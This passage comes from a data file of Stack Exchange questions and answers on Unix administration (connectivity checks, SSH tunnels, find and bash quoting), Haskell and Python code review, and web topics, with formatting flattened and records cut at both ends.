suffice.$ ping -c 1 skinnerPING skinner (192.168.1.3) 56(84) bytes of data.64 bytes from skinner (192.168.1.3): icmp_req=1 ttl=64 time=5.94 ms--- skinner ping statistics ---1 packets transmitted, 1 received, 0% packet loss, time 0msrtt min/avg/max/mdev = 5.946/5.946/5.946/0.000 msYou can check the status of this command through the use of this variable, $?. If it has the value 0 then it was successful, anything else and a problem occurred.$ echo $?0tracerouteAnother command you can use to check connectivity is traceroute.$ traceroute skinnertraceroute to skinner (192.168.1.3), 30 hops max, 60 byte packets1 skinner (192.168.1.3) 0.867 ms 0.859 ms 0.929 msAgain this tool will not show connectivity through one server to another (same issue as ping), but it will show you the path through the network that your taking to get to another server.sshssh can be used in BatchMode to test connectivity. With BatchMode=yes you'll attempt to connect to another server, bypassing the use of username/passwords and only public/private keys. This typically speeds things up quite a bit.$ ssh -o BatchMode=yes skinnerYou can construct a rough one liner that will check for connectivity to a server:$ ssh -q -o BatchMode=yes skinner echo 2>&1 && echo $host SSH_OK || echo $host SSH_NOKSSH_OKIf it works you'll get a SSH_OK message, if it fails you'll get a SSH_NOK message.An alternative to this method is to also include the ConnectTimeout option. This will guard the ssh client from taking a long time. Something like this typically is acceptable, ConnectTimeout=5. For example:$ ssh -o BatchMode=yes -o ConnectTimeout=5 skinner echo ok 2>&1okIf it fails it will look something like this:$ ssh -o BatchMode=yes -o ConnectTimeout=5 mungr echo ok 2>&1ssh: connect to host 192.168.1.2 port 22: No route to hostIt will also set the return status:$ echo $?255telnetYou can use this test to see if an ssh server is accessible on another server using just a basic telnet:$ echo quit | telnet skinner 22 2>/dev/null | grep ConnectedConnected to skinner." } { "id": "_unix.382143" , "question": "I understand why hard links on directories are dangerous (loops, problems for rmdir because of the parent-directory-link) and have read the other questions on that topic. And so I assumed that hard links on directories apart from . and .. are not used. And yet I see the following on CentOS 5 & 6:# ls -id /etc/init.d/459259 /etc/init.d/# ls -id /etc/rc.d/init.d/459259 /etc/rc.d/init.d/# ls -id /etc/init.d/../458798 /etc/init.d/../# ls -id /etc/rc.d/458798 /etc/rc.d/# ls -id /etc/425985 /etc/In other words 2 different paths to directories pointing to the same inode and the parent of /etc/init.d/ pointing to /etc/rc.d/ instead of /etc/. Is this really a case of hard-linked directories? If not, what is it? If yes, why does Red Hat do that?Edit: I'm sorry for asking a stupid question, I should have been able to see that it's a symlink. Not enough coffee today, it seems." , "title": "Is /etc/init.d hard-linked on CentOS?" , "tags": "centos;hard link;sysvinit" , "accepted_answer": "That's soft-link, not hard link. Symbolic links point to other files. Opening a symbolic link will open the file that the link points to. Removing a symbolic link with rm will remove the symbolic link itself, but not the actual file.This is indicated by the letter l at the beginning of the permissionslrwxrwxrwx. 1 root root 11 Aug 10 2016 init.d -> rc.d/init.dAlso all the rc0.d to rc6.d are symlinks to rc.d/rc0.d" } { "id": "_unix.14524" , "question": "The list of uninstalled packages appearing in my aptitude is massive, but is full of packages that I'm very sure I will never ever install. E.g. my laptop is using intel graphics, so it doesn't make sense to install xserver-xorg-video-nouveau. Therefore I want to hide it forever. This is important while listing using !~i!~v, as it shows all packages available for installation (I still need to know the filter for packages with dependencies marked UNAVAILABLE), so if I can hide them, it's easier to find packages that I haven't tried out.How do I make it so, if possible, for the whole apt database to ignore the uninteresting packages?" , "title": "How do I hide packages from appearing in apt system?" , "tags": "apt;aptitude" } { "id": "_unix.84592" , "question": "VirtualBox seems to break my SSH ProxyCommand... here are the details:I want to open an SSH connection from my laptop to desktop over an SSH (reverse) tunnel. I want to do that in one step using ProxyCommand (and netcat). It works when run from the installed OS on my laptop. It fails when run from a VirtualBox guest on my laptop.My normal setup is that Kubuntu 12.04 is running in VirtualBox on the desktop and Kubuntu 12.04 is installed directly on my laptop. This works fine.However, if I try to do the exact same thing with a Kubuntu 12.04 VirtualBox instance on my laptop, it fails as I will detail below.Here's what my SSH tunnel looks like:laptop--->nat--->middleman<--nat<--desktopThe desktop & laptop run Kubuntu 12.04 regardless of whether I'm using VirtualBox; and the middleman is Ubuntu 8.04. I'll describe my SSH tunnel in more detail. Regarding this leg:middleman<--nat<--desktop...here is how it is established:autossh -M 5234 -N -f -R 1234:localhost:22 user@middleman.comThat part is automatic and trouble-free.From the laptop:laptop--->nat--->middlemanI can connect to middleman and then from the middleman to the desktop in two steps under all conditions:me@laptop:~$ ssh -i ~/.ssh/id_rsa admin@middleman admin@middleman:~$ ssh -i ~/.ssh/id_rsa localhost -p 1234To do this in one step I use netcat (nc) on middleman and I edit my SSH config file on laptop to use ProxyCommand and nc:me@laptop:~/.ssh$ nano configThe contents are:Host family_desktops ProxyCommand ssh middleman_fqdn nc localhost %p User admin PasswordAuthentication no IdentityFile ~/.ssh/my_id_rsaWhere middleman_fqdn is like middleman.comThen I just connect to desktop in one step:me@laptop:~$ ssh family_desktops -p 1234Here's the problem. This works when run directly from my laptop (where Kubuntu 12.04 is installed). But when I run it from VirtualBox instance of Kubuntu 12.04 (guest) on my laptop, it does not work. SSH asks for the password for middleman. There is no password set up, so I cannot connect. The strange thing is that running the two separate commands allows me to connect to my desktop and it doesn't ask for a password. The ssh -vvv option shows no errors and nothing helpful.I have been troubleshooting all day and I cannot find any difference in settings between the VirtualBox instance and the host OS on my laptop. I use the exact same id_rsa keys (public & private), the same user, and auth.log on the middleman server indicates it sees the same IP address in both cases. So why would running VirtualBox on my laptop make this SSH tunnel stop working (at least working in one step)?" , "title": "SSH reverse tunnel works except when I use a VirtualBox instance at one end. Why does VB break SSH?" , "tags": "ssh;virtualbox;proxy;ssh tunneling" , "accepted_answer": "It appears that this was my problem:Bug #201786 ssh Agent admitted failure to sign using the key on... : Bugs : gnome-keyring package : Ubuntuhttps://bugs.launchpad.net/ubuntu/+source/gnome-keyring/+bug/201786To resolve my problem all I did was run ssh-add on the VirtualBox instance running on my laptop:ssh-add ~/.ssh/my_other_keywhich is the solution mentioned in this comment:https://bugs.launchpad.net/ubuntu/+source/gnome-keyring/+bug/201786/comments/58I do not understand why the problems shows up only when running VirtualBox, but since some feel it is related to endian-ness, maybe that explains it in a very nebulous way. Anyway, that's resolved it for me." } { "id": "_codereview.90954" , "question": "I recently came across the classic algorithm for detecting cycles in a directed graph using recursive DFS. This implementation makes use of a stack to track nodes currently being visited and an extra set of nodes which have already been explored. The second set is not strictly required, but it is an optimization to prevent iterating over path suffixes that have previously been determined not to be part of a cycle.I had no trouble implementing this in Python by simply creating a (mutable) set object and sharing it between all branches of the recursion.My attempt to reimplement this algorithm in Haskell turned out to be much worse (and still isn't as efficient as the original).I would like some pointers about how to restructure this so that it isn't a mess of recursive folds, but without giving up the set of visited, nodes, which lets me avoid taking branches that have already been explored.import Data.Maybeimport qualified Data.IntMap.Strict as Mimport qualified Data.Char as Cimport Debug.Traceedges :: Stringedges = a b\\n\\ \\a c\\n\\ \\b c\\n\\ \\b d\\n\\ \\c d\\n\\ \\c e\\n\\ \\e f\\n\\ \\e g\\n\\ \\f g\\n\\ \\g ctype Node = IntparseGraph :: String -> M.IntMap [Node]parseGraph = foldr go M.empty . lines where go line m = let [key, rule] = map ruleToKey (words line) in M.insertWith inserter key [rule] m inserter [rule] olds = rule:oldsruleToKey :: String -> NoderuleToKey rule = C.ord (head rule) - 97keyToRule :: Node -> StringkeyToRule key = return $ C.chr (key + 97)hasCycle :: M.IntMap [Node] -> Maybe [Node]hasCycle m = reverse <$> ret where dummyM = M.insert phantom (reverse $ M.keys m) m phantom = -1 (_, _, ret) = hasCycleHelper dummyM phantom ([], [], Nothing)hasCycleHelper :: M.IntMap [Node] -> Node -> ([Node], [Node], Maybe [Node]) -> ([Node], [Node], Maybe [Node])hasCycleHelper rules rule (visited', visiting', cyc) = trace rendered $ case () of _ | isJust cyc || rule `elem` visited' -> (visited', visiting', cyc) | rule `elem` visiting' -> ([], [], Just (takeWhile (/= rule) visiting' ++ [rule])) | otherwise -> returned where children = M.findWithDefault [] rule rules (visited, _, ret) = foldr (hasCycleHelper rules) acc children returned = (rule:visited, visiting', ret) acc = (visited', rule:visiting', Nothing) rendered = Current ' ++ keyToRule rule ++ ', ++ Visiting ' ++ map (head . keyToRule) visiting' ++ ', ++ Visited ' ++ map (head . keyToRule) visited' ++ ', ++ Found ++ show (map (head . keyToRule) <$> cyc)main :: IO ()main = do let rules = parseGraph edges cyc = map keyToRule <$> hasCycle rules print cycWith output:Current '`', Visiting '', Visited '', Found NothingCurrent 'a', Visiting '`', Visited '', Found NothingCurrent 'c', Visiting 'a`', Visited '', Found NothingCurrent 'e', Visiting 'ca`', Visited '', Found NothingCurrent 'g', Visiting 'eca`', Visited '', Found NothingCurrent 'c', Visiting 'geca`', Visited '', Found NothingCurrent 'f', Visiting 'eca`', Visited 'g', Found Just gecCurrent 'd', Visiting 'ca`', Visited 'eg', Found Just gecCurrent 'b', Visiting 'a`', Visited 'ceg', Found Just gecCurrent 'b', Visiting '`', Visited 'aceg', Found Just gecCurrent 'c', Visiting '`', Visited 'aceg', Found Just gecCurrent 'e', Visiting '`', Visited 'aceg', Found Just gecCurrent 'f', Visiting '`', Visited 'aceg', Found Just gecCurrent 'g', Visiting '`', Visited 'aceg', Found Just gecJust [c,e,g]Because I'm using foldr, it can't abort the search after discovering a cycle. It has to iterate over all the nodes in the graph at the top level, carrying along the result. I think that's pretty miserable, but I thought I'd ask about it before rewriting everything." , "title": "Detecting cycles in a directed graph without using mutable sets of nodes" , "tags": "haskell;functional programming;graph;depth first search;memoization" , "accepted_answer": "An easy way to detect a cycle is through the implementation of a disjoint set structure, sometimes called a Union-Find structure. You start with a source node and attempt to add a node to that set. If your Find() call for the source node and the other node returns the same root node, then a cycle world result if the nodes are unioned.UPDATE:You could implement a topological sort, arranging the nodes with edges going from left to right. A topological sort can only be completed successfully if and only if the graph is a Directed Acyclic Graph. So, if the algorithm detects any cycles, it will stop.The runtime is O(|V| + |E|), which is better than DFS, in the case that repetition occurs during traversal.Topological Sorting" } { "id": "_unix.272800" , "question": "I want to replace 0/1 with hetero but whenever I am trying to use the known commands it is showing syntax error because the / is aleady part of the command .. Can anyone suggest a command to solve this issue??" , "title": "Find and replace in Linux" , "tags": "find;command;replace" } { "id": "_codereview.111449" , "question": "I've attempted a functional solution to Conway's Game of Life in Python.The example code allows you to see the next generation of the universe by calling the step() function, passing the current generation of the universe. The universe is represented as a set of live cells. Live cells are represented as a tuple of x, y coordinates.All suggestions for improvement are welcome. I'd especially like feedback on the following:Approach - is it functional? If not, why not?Test cases - are there any test case I've missed that highlight a bug? Can it be done with less test cases while maintaining the same code coverage?Python idioms and conventionsMaking use of built-in functions and datatypesimport unittestdef get_neighbours(x, y): ''' Returns the set of the given cell's (x,y) 8 eight neighbours. :param x: x coordinate of cell :param y: y coordinate of cell ''' return {(x + dx, y + dy) for dx, dy in [(-1, -1), (-1, 0), (-1, 1), (0, -1), (0, 1), (1, -1), (1, 0), (1, 1)]}def is_survivor(universe, x, y): ''' Returns True if given cell will survive to the next generation, False otherwise. :param universe: set of live cells in the universe. A live cell is the tuple (x,y) :param x: x coordinate of cell :param y: y coordinate of cell ''' num_live_neighbours = len(get_neighbours(x, y) & universe) return num_live_neighbours == 2 or num_live_neighbours == 3def is_born(universe, x, y): ''' Returns True if given cell will be born in the next generation, False otherwise. :param universe: set of live cells in the universe. A live cell is the tuple (x,y) :param x: x coordinate of cell :param y: y coordinate of cell ''' return len(get_neighbours(x, y) & universe) == 3def step(universe): ''' Returns the new universe after a single step in the game of life. :param universe: set of live cells in the universe. A live cell is the tuple (x,y) ''' survivors = { (x, y) for x, y in universe if is_survivor(universe, x, y) } list_of_neighbour_sets = [get_neighbours(x, y) for x, y in universe] flattened_neighbour_set = {item for subset in list_of_neighbour_sets for item in subset} dead_neighbours = flattened_neighbour_set - universe births = { (x, y) for x, y in dead_neighbours if is_born(universe, x, y) } return survivors | birthsclass Test(unittest.TestCase): def test_get_neigbours(self): self.assertEqual({(-1, -1), (0, -1), (1, -1), (-1, 0), (1, 0), (-1, 1), (0, 1), (1, 1)}, get_neighbours(0, 0)) self.assertEqual({(4, 5), (4, 6), (4, 7), (5, 5), (5, 7), (6, 5), (6, 6), (6, 7)}, get_neighbours(5, 6)) def test_is_survivour_should_return_true_if_cell_has_2_live_neighbours(self): self.assertTrue(is_survivor({(0, 0), (1, 0), (2, 0)}, 1, 0)) def test_is_survivour_should_return_true_if_cell_has_3_live_neighbours(self): self.assertTrue(is_survivor({(0, 0), (1, 0), (0, 1), (1, 1)}, 0, 0)) self.assertTrue(is_survivor({(0, 0), (1, 0), (0, 1), (1, 1)}, 1, 0)) self.assertTrue(is_survivor({(0, 0), (1, 0), (0, 1), (1, 1)}, 0, 1)) self.assertTrue(is_survivor({(0, 0), (1, 0), (0, 1), (1, 1)}, 1, 1)) def test_is_survivour_should_return_false_if_cell_is_underpopulated(self): self.assertFalse(is_survivor({(0, 0)}, 0, 0)) def test_is_survivour_should_return_false_if_cell_is_overpopulated(self): self.assertFalse(is_survivor({(-1, -1), (0, -1), (1, -1), (-1, 0), (1, 0), (-1, 1), (0, 1), (1, 1)}, 0, 0)) def test_is_born_should_return_false_if_dead_cell_doesnt_have_exactly_3_live_neighbours(self): self.assertFalse(is_born({(0, 0)}, 0, 0)) def test_is_born_should_return_true_if_dead_cell_has_exactly_3_live_neighbours(self): self.assertTrue(is_born({(0, 0), (1, 0), (0, 1)}, 1, 1)) def test_L_becomes_block_after_step(self): self.assertEqual({(0, 0), (1, 0), (0, 1), (1, 1)}, step({(0, 0), (0, 1), (1, 1)}))if __name__ == __main__: unittest.main()" , "title": "Game of Life rules in 14 lines of Python" , "tags": "python;python 3.x;functional programming;game of life" , "accepted_answer": "For docstrings, if you're following the Sphinx documentation format (which it looks like you are), you can specify an explicit :return: field to document what exactly it is your function is returning. PEP-0257 has various other conventions for docstrings like leaving a blank line between the summary line and the rest of the docstring, if you're really interested.In terms of functional programming, you could use some of Python's functional programming functions, e.g the builtins filter and map and also any functions from the functools module. Also, since you are already not mutating any of the variables in your program (as you wouldn't do when programming in a functional manner), you can use frozenset()s in place of where you're currently using sets, as frozen sets are explicitly immutable.Here is an attempt at functionifying the step function. Since Python 3, you can put type hints in the signature of functions, and since Python 3.5 you can also use the typing module to define types in a formal way, which can allow for better static type-checking if you're using a typing-aware IDE. Since you're wanting to program in a functional way, I'm guessing this would be of more interest than usual.from functools import reducefrom typing import Tuple, SetCell = Tuple[int, int]Universe = Set[Cell] # or even FrozenSet[Cell]...def step(universe: Universe) -> Universe: Evaluate the next step in the Game of Life. :param universe: set of live cells in the universe. A live cell is the tuple (x,y) :return: the new universe after a single step in the game of life. survivors = filter(lambda cell: is_survivor(universe, *cell), universe) neighbours = reduce(set.union, map(lambda cell: get_neighbours(*cell), universe)) dead_neighbours = filter(lambda cell: cell not in universe, neighbours) births = filter(lambda cell: is_born(universe, *cell), dead_neighbours) return frozenset(survivors) | frozenset(births)To be honest though, functional programming does not seem idiomatic in Python, even though it can be done; I would say your current code is pretty clear and idiomatic as is, using set comprehensions and such." } { "id": "_softwareengineering.103375" , "question": "I have a couple of Python modules that are meant to be run as scripts. How should I write the docstrings at the module and function level to make it clear how to run and use the module?" , "title": "How should I document a Python script?" , "tags": "python;documentation" } { "id": "_webmaster.2938" , "question": "i see many sites that have their heading as an image. what is the benefit of this? when is a best practice to use text as images as opposed to just having text in my html. is this just for supporting non standard fonts?" , "title": "When should i consider having text as an image in my website heading" , "tags": "website design;images" , "accepted_answer": "Reasons to use an image header with text:The text isn't necessary for SEO.The font can't be reproduced on theweb.The text is integrated too closely with alogo to separate the two.Reasons to use text as your header:The text is necessary for SEO.The text needs to scale according tothe browser window.The text needs to scale according toan em-based font size.The text needs to be dynamic in any way.If you do use an image, consider using the tag with an alt attribute rather than a CSS image. This is important for accessibility purposes, but it could also contribute to SEO." } { "id": "_webapps.62940" , "question": "I'd like to align the titles in my swimlanes to the left side, but the collapse/expand buttons are hiding the words. Is there a way I can make that kind of button invisible?I've looked through the code that's editable and haven't found it there either. When I use element inspector it shows the collapse/expand button as being separate from the container it's attached to." , "title": "Is there a way to hide the collapse/expand button in draw.io?" , "tags": "draw.io" , "accepted_answer": "Select the swimlane and on the menu invoke Arrange->CollapsibleTo toggle the collapse/expand button." } { "id": "_datascience.22118" , "question": "Why do we need for Shortcut Connections to build Residual Networks, and how it help to train neural networks for classification and detection?" , "title": "Why do we need for Shortcut Connections to build Residual Networks?" , "tags": "machine learning;neural network;deep learning;computer vision;caffe" } { "id": "_unix.332347" , "question": "I have these results from find:$ find subprojects -mindepth 1 -maxdepth 1subprojects/install-globally-firstsubprojects/installation-test-project-custom-configsubprojects/install-via-githubsubprojects/init-from-nothingsubprojects/node-path-testsubprojects/install-globally-with-nvmsubprojects/installation-test-projectsubprojects/parallel-installs-of-sumanI want to map these results to:subprojects/install-globally-first/test.shsubprojects/installation-test-project-custom-config/test.shsubprojects/install-via-github/test.shsubprojects/init-from-nothing/test.shsubprojects/node-path-test/test.shsubprojects/install-globally-with-nvm/test.shsubprojects/installation-test-project/test.shsubprojects/parallel-installs-of-suman/test.sh(All I am doing in this case is appending /test.sh to the results...I am sure a good solution is something like:$ find subprojects -mindepth 1 -maxdepth 1 | something (?)but I don't know what it would be! Pretty newby here. Probably more than one way to do it, looking for simplest most robust solution I guess.Note that since the test.sh files already exist in these paths, I could just to do this:find subprojects -mindepth 2 -maxdepth 2 -name test.shBut I guess I am looking for away to do that, assuming these test.sh files don't exist yet on the filesystem." , "title": "map the results from find" , "tags": "find;pipe;xargs" } { "id": "_cstheory.31652" , "question": "I'm reading Ankur Moitra's excellent lectures notes at http://people.csail.mit.edu/moitra/docs/bookex.pdf .In Chapter4, the notes claim that a certain circulant matrix of fourier coefficients is invertible [left as exercise to reader, and I can't find the footnote]. I can not prove it. I'm also not convinced it's true. The pages are attached. Any pointers as to what I should read up on would be helpful.Thanks!EDIT: Images are high resolution. Click open image in new tab." , "title": "Inverting Matrix in Prony's Algorithm" , "tags": "linear algebra" } { "id": "_unix.293191" , "question": "I'm writing a small script that will help me debug some permission problems. I am passing the parent folder I wish to examine and am able to specify any sub-folders which I want to ignore.I'm having a problem passing the constructed parameter string to find because some parts of it (the are being escaped. I can't seem to figure out how to provide the wildcard into the command in such a way that find accepts it properly. With the wildcard in place, that portion of the path string is qualified using single quotes that are escaped using '\\'' and are confusing me (as I can't figure out how to control the transformation) and find (which is essentially ignoring my excludes)I've been reading all about single and double quotes as well as escaping characters, but I haven't found an example similar to mine.#!/bin/bash -f# output permissions and ownership with path relative to specified parent.Usage=$0 ....if [ $# -lt 1 ]then (>&2 echo -e $Usage) exit 1else parent=$1 shift if [ $# -gt 0 ] then excludes= ( for folder in $@ do thisLine= ! -path $parent$folder ! -path '$parent$folder/*' <=== the '*' wildcard is causing the problem I think. excludes=$excludes$thisLine done excludes=$excludes ) fi (>&2 echo => find $parent $excludes -ls | awk '{print '$3|$5|$6|$11}'') (>&2 echo )set -vx find $parent $excludes -ls | awk '{print $3|$5|$6|$11}'fiThe branch of the tree that I'm working with is /home/user/catkin_ws/src/clfsm which has three sub-folders, two of which I wish to exclude; cmake & include. The output below is in two parts: Top is the current output, which does not filter the folders I wish to exclude. The bottom part is correct, using the echoed command line from my code above.The command to call the above script is:~/myScripts/show_permissions.sh /media/nap/U14041/home/nap/catkin_ws/src/clfsm /cmake /include. Note that Stephen's solution requires that the sub-folders to be excluded be specified without a leading /.user@rMBP-Ubuntu:[12:29]:/home/user/catkin_ws/src/clfsm$ ~/myScripts/show_permissions.sh /home/user/catkin_ws/src/clfsm /cmake /include=> find /home/user/catkin_ws/src/clfsm ( ! -path /home/user/catkin_ws/src/clfsm/cmake ! -path '/home/user/catkin_ws/src/clfsm/cmake/*' ! -path /home/user/catkin_ws/src/clfsm/include ! -path '/home/user/catkin_ws/src/clfsm/include/*' ) -ls | awk '{print $3|$5|$6|$11}'++ find /home/user/catkin_ws/src/clfsm '(' '!' -path /home/user/catkin_ws/src/clfsm/cmake '!' -path ''\\''/home/user/catkin_ws/src/clfsm/cmake/*'\\''' '!' -path /home/user/catkin_ws/src/clfsm/include '!' -path ''\\''/home/user/catkin_ws/src/clfsm/include/*'\\''' ')' -ls++ awk '{print $3|$5|$6|$11}'drwxrwxr-x|user|user|/home/user/catkin_ws/src/clfsm-rw-rw-r--|user|user|/home/user/catkin_ws/src/clfsm/clfsm.layoutdrwxrwxr-x|user|user|/home/user/catkin_ws/src/clfsm/src-rw-rw-r--|user|user|/home/user/catkin_ws/src/clfsm/src/clfsm_visitorsupport.cc-rw-rw-r--|user|user|/home/user/catkin_ws/src/clfsm/src/clfsm_machine.cc-rw-rw-r--|user|user|/home/user/catkin_ws/src/clfsm/src/clfsm_visitors.cc-rw-rw-r--|user|user|/home/user/catkin_ws/src/clfsm/src/clfsm_main.cc-rw-rw-r--|user|user|/home/user/catkin_ws/src/clfsm/src/clfsm_cc.cc-rw-rw-r--|user|user|/home/user/catkin_ws/src/clfsm/cmake/FindLibDispatch.cmake-rw-rw-r--|user|user|/home/user/catkin_ws/src/clfsm/CMakeLists.txt-rw-rw-r--|user|user|/home/user/catkin_ws/src/clfsm/include/clfsm_vector_factory.hdrwxrwxr-x|user|user|/home/user/catkin_ws/src/clfsm/include/typeClassDefs-rw-rw-r--|user|user|/home/user/catkin_ws/src/clfsm/include/typeClassDefs/FSMControlStatus.h-rw-rw-r--|user|user|/home/user/catkin_ws/src/clfsm/include/typeClassDefs/FSM_Control.h-rw-rw-r--|user|user|/home/user/catkin_ws/src/clfsm/include/typeClassDefs/wb_fsm_control_status.h-rw-rw-r--|user|user|/home/user/catkin_ws/src/clfsm/include/typeClassDefs/wb_fsm_state_status.h-rw-rw-r--|user|user|/home/user/catkin_ws/src/clfsm/include/CLActionAction.h-rw-rw-r--|user|user|/home/user/catkin_ws/src/clfsm/include/FSMWBQueryPredicate.h-rw-rw-r--|user|user|/home/user/catkin_ws/src/clfsm/include/FSMSuspensibleMachine.h-rw-rw-r--|user|user|/home/user/catkin_ws/src/clfsm/include/FSMWBSubMachine.h-rw-rw-r--|user|user|/home/user/catkin_ws/src/clfsm/include/gu_util.h~-rw-rw-r--|user|user|/home/user/catkin_ws/src/clfsm/include/CLTransitionExpression.h-rw-rw-r--|user|user|/home/user/catkin_ws/src/clfsm/include/FSMWBContext.h-rw-rw-r--|user|user|/home/user/catkin_ws/src/clfsm/include/FSMState.h-rw-rw-r--|user|user|/home/user/catkin_ws/src/clfsm/include/FSMAction.h-rw-rw-r--|user|user|/home/user/catkin_ws/src/clfsm/include/FSMExpression.h-rw-rw-r--|user|user|/home/user/catkin_ws/src/clfsm/include/clfsm_cc.h-rw-rw-r--|user|user|/home/user/catkin_ws/src/clfsm/include/FSMTransition.h-rw-rw-r--|user|user|/home/user/catkin_ws/src/clfsm/include/clfsm_visitorsupport.h-rw-rw-r--|user|user|/home/user/catkin_ws/src/clfsm/include/stringConstants.h-rw-rw-r--|user|user|/home/user/catkin_ws/src/clfsm/include/clfsm_factory.h-rw-rw-r--|user|user|/home/user/catkin_ws/src/clfsm/include/FSMFactory.h-rw-rw-r--|user|user|/home/user/catkin_ws/src/clfsm/include/FSMachineVector.h-rw-rw-r--|user|user|/home/user/catkin_ws/src/clfsm/include/FSMActivity.h-rw-rw-r--|user|user|/home/user/catkin_ws/src/clfsm/include/clfsm_visitors.h-rw-rw-r--|user|user|/home/user/catkin_ws/src/clfsm/include/FSMachine.h-rw-rw-r--|user|user|/home/user/catkin_ws/src/clfsm/include/clfsm_cc_delegate.h-rw-rw-r--|user|user|/home/user/catkin_ws/src/clfsm/include/clfsm_machine.h-rw-rw-r--|user|user|/home/user/catkin_ws/src/clfsm/include/gu_util.h-rw-rw-r--|user|user|/home/user/catkin_ws/src/clfsm/include/FSMWBPredicate.h-rw-rw-r--|user|user|/home/user/catkin_ws/src/clfsm/include/clfsm_wb_vector_factory.h-rw-rw-r--|user|user|/home/user/catkin_ws/src/clfsm/include/FSM.h-rw-rw-r--|user|user|/home/user/catkin_ws/src/clfsm/package.xml-rw-rw-r--|user|user|/home/user/catkin_ws/src/clfsm/clfsm.cbpuser@rMBP-Ubuntu:[12:34]:/home/user/catkin_ws/src/clfsm$ find /home/user/catkin_ws/src/clfsm \\( ! -path /home/user/catkin_ws/src/clfsm/cmake ! -path '/home/user/catkin_ws/src/clfsm/cmake/*' ! -path /home/user/catkin_ws/src/clfsm/include ! -path '/home/user/catkin_ws/src/clfsm/include/*' \\) -ls | awk '{print $3|$5|$6|$11}'drwxrwxr-x|user|user|/home/user/catkin_ws/src/clfsm-rw-rw-r--|user|user|/home/user/catkin_ws/src/clfsm/clfsm.layoutdrwxrwxr-x|user|user|/home/user/catkin_ws/src/clfsm/src-rw-rw-r--|user|user|/home/user/catkin_ws/src/clfsm/src/clfsm_visitorsupport.cc-rw-rw-r--|user|user|/home/user/catkin_ws/src/clfsm/src/clfsm_machine.cc-rw-rw-r--|user|user|/home/user/catkin_ws/src/clfsm/src/clfsm_visitors.cc-rw-rw-r--|user|user|/home/user/catkin_ws/src/clfsm/src/clfsm_main.cc-rw-rw-r--|user|user|/home/user/catkin_ws/src/clfsm/src/clfsm_cc.cc-rw-rw-r--|user|user|/home/user/catkin_ws/src/clfsm/CMakeLists.txt-rw-rw-r--|user|user|/home/user/catkin_ws/src/clfsm/package.xml-rw-rw-r--|user|user|/home/user/catkin_ws/src/clfsm/clfsm.cbpuser@rMBP-Ubuntu:[12:35]:/home/user/catkin_ws/src/clfsm$ " , "title": "How to pass string with special characters to shell command in a script?" , "tags": "bash;text processing" , "accepted_answer": "If I understand the requirement properly you should be using -path ... -prune to stop descending into trees.Something like:#!/bin/bash -f# output permissions and ownership with path relative to specified parent.Usage=$0 ....if [ $# -lt 1 ]then (>&2 echo -e $Usage) exit 1else parent=$1 shift if [ $# -gt 0 ] then for folder in $@ do thisLine= ( -path $parent/$folder -prune ) -o excludes=$excludes$thisLine done fiset -vx find $parent $excludes -ls | awk '{print $3|$5|$6|$11}'fiThe idea is to build out a string similar tofind /tmp/A \\( -path /tmp/A/skip1 -prune \\) -o -ls" } { "id": "_unix.161958" , "question": "I am trying to figure out a solution for this question. My approach to this problem so far is as below. Append all the characters together to make it a long string.After the above step, remove all the white spaces or tab spaces so that we will just have one big string.I was able to establish the above steps with the below command. column -s '\\t' inputfile | tr -d '[:space:]'So for an input file like this,1 0 0 0 0 00 1 1 1 0 0After applying the above command I have the values as,100000011100Now in this big string I am trying to apply an approach as below. Extract every 6th character (as the original OP wants), and append it to an array element till the end of the string. So basically, with the above step, I am trying to create the array elements as,10 (1st and 7th character), 01 (2nd and 8th character), 01 (3rd and 9th character), 01 (4th and 10th character), 00 (5th and 11th character), 00 (6th and 12th character).So my question is, how could I extract every nth character so that I could add them to an array to proceed further? (n=6, in this case). " , "title": "extract every nth character from a string" , "tags": "shell;shell script;string" , "accepted_answer": "Two linesHere is a pure-bash solution that produces a bash array:s=100000011100array=($( for ((i=0; i<${#s}-6; i++)) do echo ${s:$i:1}${s:$((i+6)):1} done ))echo ${array[@]}This produces the same output as shown in the question:10 01 01 01 00 00The key element here is the use of bash's substring expansion. Bash allows the extraction substrings from a variable, say parameter, via ${parameter:offset:length}. In our case, the offset is determined by the loop variable i and the length is always 1.General Solution For Any Number of LinesSuppose, for example, that our original string has 18 characters and we want to extract the i-th, the i+6-th, and the i+12-th characters for i from 0 to 5. Then:s=100000011100234567array=($( for ((i=0; i<6; i++)) do new=${s:$i:1} for ((j=i+6; j<${#s}; j=j+6)) do new=$new${s:$j:1} done echo $new done ))echo ${array[@]}This produces the output:102 013 014 015 006 007This same code extends to an arbitrary number of 6-character lines. For example, if s has three lines (18 characters):s=100000011100234567abcdefThen, the output becomes:102a 013b 014c 015d 006e 007f" } { "id": "_webapps.5070" , "question": "Answers so far (and what these services ought to deliver):Disqus Profile (full ownership on Disqus enabled sites, claiming authorship on others)Intense Debate] (for blog publishers: tightly integrated into the WordPress blogging platform)BackType Connect Plugin (for blog publishers: copies comments (that link to one of your posts) to your blog, no matter where they are on the web)Gravatar (self-promotion, better visibility)Google Sidewiki (adds another layer)become a blog publisherIn addition, here are some other services:co.mment (conversation tracker)coComment (conversation tracker - still alive and kicking?)Google Reader: Like item action (appreciation feedback)Convenient solutions for ordinary netizens preferred.For your reading pleasure: Comment ownership is a complex problem. The commenter writes the comment, but the blog owner hosts it. So of course, the blog owner has the right to decide what he agrees to host or not. But the person who wrote the comment might also want to claim some right to his writing once its published. (Who Owns Your Comments? by Stephanie Booth)" , "title": "How do you take ownership of your comments?" , "tags": "sharing;comments;follow;communication" , "accepted_answer": "Disqus is one of the solutions." } { "id": "_cs.72196" , "question": "Let $M$ be a variant of Turing machine with no working tape but with several heads on input word. Prove that these machines accept exactly the languages in $L$.Please hint me how to start." , "title": "Variant of offline Turing machine" , "tags": "complexity theory;computability;turing machines" } { "id": "_unix.192331" , "question": "I have a file with the following content:list:blue,nonered,noneorange,plot baseball , noneuniversity,noneschool,nonedesk,plotmonitor,noneearphone,noneI need to read this file, remove spaces and store each column in a different array.script:output_names=()output_plots=()while read line do item=$(echo -e ${line} | tr -d '[[:space:]]') item=$(echo $item | tr , \\n) output_names+=(${item[0]}); output_plots+=(${item[1]});done 0): handletwo.write(match_list[0]+\\r\\n) Input file scratchmail.txt:tickets.cgi:5141|5141Z4063442957942364067088508|1219588377|1219588377||PND||abc@AABBCC.com|Mjpqafml|JgALKGXCuasMph|tickets.cgi:358236|358236Z24989798132452492828304439|1433071308|1433071308||PND||xyz.abc@example.com|Edison|CpwxPARuQaqPR|tickets.cgi:86805|86805Z25422507290694218605033173|1232345784|1232345784||PND||pytest@test.com|Agfaodki|jPdSNVlbXi|Output file 